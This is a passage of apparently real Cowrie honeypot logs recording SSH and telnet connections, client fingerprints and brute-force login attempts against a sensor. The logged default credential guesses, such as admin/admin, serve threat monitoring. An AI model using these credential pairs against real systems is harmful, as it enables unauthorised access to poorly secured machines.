sh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.296017Z","src_ip":"87.251.64.176","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.585523Z","src_ip":"87.251.64.176","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.686504Z","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.785079Z","src_ip":"87.251.64.176","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:31.884650Z","src_ip":"87.251.64.176","session":"965a5dc94a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.030932903289795,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:32.383375Z","src_ip":"209.126.87.217","session":"d525fcb4c5dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.38557553291321,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:36.167080Z","src_ip":"139.162.207.207","session":"5de0ddac1096","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.131.220.121","src_port":59160,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b729b074309","protocol":"ssh","message":"New connection: 3.131.220.121:59160 (10.17.0.5:22) [session: 7b729b074309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:37.437159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:37.709019Z","src_ip":"3.131.220.121","session":"7b729b074309","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:37.713810Z","src_ip":"3.131.220.121","session":"7b729b074309","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.782570600509644,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:39.332293Z","src_ip":"172.233.212.110","session":"33f73df3f69c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.199781656265259,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:39.959884Z","src_ip":"34.62.51.125","session":"ff381e26ce59","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.364135265350342,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:39.965368Z","src_ip":"34.62.51.125","session":"76a344993211","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.523239850997925,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:39.968958Z","src_ip":"34.62.51.125","session":"ab8f098c3677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.681493043899536,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:39.972285Z","src_ip":"34.62.51.125","session":"1589bfe44b83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.91045570373535,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.001649Z","src_ip":"172.233.212.110","session":"f8da78cb1b4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.05717396736145,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.023177Z","src_ip":"34.62.51.125","session":"275faac2fac2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.234239339828491,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.032836Z","src_ip":"34.62.51.125","session":"665d1cc0cd40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.39488172531128,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.038180Z","src_ip":"34.62.51.125","session":"f431be8fa998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.910624027252197,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.042230Z","src_ip":"34.62.51.125","session":"3e9fa35d5608","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.069421291351318,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.045878Z","src_ip":"34.62.51.125","session":"1b6eca87bb72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.228456735610962,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.049837Z","src_ip":"34.62.51.125","session":"5d5720b3201a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.387855768203735,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.053425Z","src_ip":"34.62.51.125","session":"cc69ffbe2c0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.55205750465393,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.061428Z","src_ip":"34.62.51.125","session":"75bcff2cf5ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.71617579460144,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.065374Z","src_ip":"34.62.51.125","session":"6d6286baf75f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.89188528060913,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.069015Z","src_ip":"34.62.51.125","session":"b839190b34d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.05211329460144,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.072472Z","src_ip":"34.62.51.125","session":"82e479233c58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.210792779922485,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.075943Z","src_ip":"34.62.51.125","session":"4e217742ea5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.525400400161743,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.079409Z","src_ip":"34.62.51.125","session":"7a20012a85ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.373126745223999,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.083694Z","src_ip":"34.62.51.125","session":"16004ccad756","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.687362670898438,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.087258Z","src_ip":"34.62.51.125","session":"548ade16ac76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.846249341964722,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.091514Z","src_ip":"34.62.51.125","session":"fd360c8916ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.005730152130127,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.095233Z","src_ip":"34.62.51.125","session":"e28bf127fff9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.553019762039185,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.099083Z","src_ip":"34.62.51.125","session":"c9f5c9e0f3a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.325128078460693,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.102509Z","src_ip":"34.62.51.125","session":"0fb677778e6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.719897747039795,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.105752Z","src_ip":"34.62.51.125","session":"58dff94e911d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.880874395370483,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.109573Z","src_ip":"34.62.51.125","session":"79c17190f9c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.037834167480469,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.112805Z","src_ip":"34.62.51.125","session":"f164d0a8029e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.199013233184814,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.115984Z","src_ip":"34.62.51.125","session":"41e084e8e793","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.94420552253723,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:40.712380Z","src_ip":"139.162.207.207","session":"9c1e5b78f5c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162522315979004,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:42.224192Z","src_ip":"172.233.212.110","session":"7883f4bb3cb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:47.716017Z","src_ip":"3.131.220.121","session":"7b729b074309","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":58614,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ba14ae8b21b","protocol":"telnet","message":"New connection: 172.233.212.110:58614 (10.17.0.5:23) [session: 7ba14ae8b21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:53.024697Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b3cec5d5cef","protocol":"telnet","message":"New connection: 185.26.126.47:35790 (159.203.135.109:23) [session: 6b3cec5d5cef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:39:55.040416Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":58624,"dst_ip":"10.17.0.5","dst_port":23,"session":"a33c18901f89","protocol":"telnet","message":"New connection: 172.233.212.110:58624 (10.17.0.5:23) [session: a33c18901f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:00.544344Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":42306,"dst_ip":"10.17.0.5","dst_port":22,"session":"813daa92366b","protocol":"ssh","message":"New connection: 80.94.92.182:42306 (10.17.0.5:22) [session: 813daa92366b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:03.848069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:03.855392Z","src_ip":"80.94.92.182","session":"813daa92366b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:03.990289Z","src_ip":"80.94.92.182","session":"813daa92366b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwer1234","message":"login attempt [sol/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:04.423463Z","src_ip":"80.94.92.182","session":"813daa92366b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:05.570413Z","src_ip":"80.94.92.182","session":"813daa92366b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33784,"dst_ip":"10.17.0.5","dst_port":23,"session":"32cbc06f6da8","protocol":"telnet","message":"New connection: 172.233.212.110:33784 (10.17.0.5:23) [session: 32cbc06f6da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:07.365255Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":35000,"dst_ip":"10.17.0.5","dst_port":23,"session":"620fde6c76ee","protocol":"telnet","message":"New connection: 139.162.207.207:35000 (10.17.0.5:23) [session: 620fde6c76ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:08.206661Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":47394,"dst_ip":"10.17.0.5","dst_port":22,"session":"530cc757be93","protocol":"ssh","message":"New connection: 125.31.2.160:47394 (10.17.0.5:22) [session: 530cc757be93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:08.683824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:08.690927Z","src_ip":"125.31.2.160","session":"530cc757be93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":33790,"dst_ip":"10.17.0.5","dst_port":23,"session":"870158fc4455","protocol":"telnet","message":"New connection: 172.233.212.110:33790 (10.17.0.5:23) [session: 870158fc4455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:08.793929Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:08.914078Z","src_ip":"125.31.2.160","session":"530cc757be93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:09.819845Z","src_ip":"125.31.2.160","session":"530cc757be93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa0b76dbf5f","protocol":"ssh","message":"New connection: 159.203.92.129:54258 (159.203.135.109:22) [session: 6fa0b76dbf5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:10.413443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:10.419009Z","src_ip":"159.203.92.129","session":"6fa0b76dbf5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:10.427818Z","src_ip":"159.203.92.129","session":"6fa0b76dbf5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"admin123","message":"login attempt [ansible/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:40:10.453140Z","src_ip":"159.203.92.129","session":"6fa0b76dbf5f","protocol":"ssh"}
